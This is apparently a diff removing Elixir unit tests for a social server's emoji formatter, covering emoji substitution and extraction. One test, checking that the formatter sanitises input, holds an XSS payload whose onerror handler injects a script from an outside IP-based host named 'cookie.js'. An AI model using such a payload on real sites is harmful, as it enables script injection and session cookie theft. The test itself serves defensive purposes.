- describe "emojify" do
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
- end
-
- describe "get_emoji" do
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
- end
-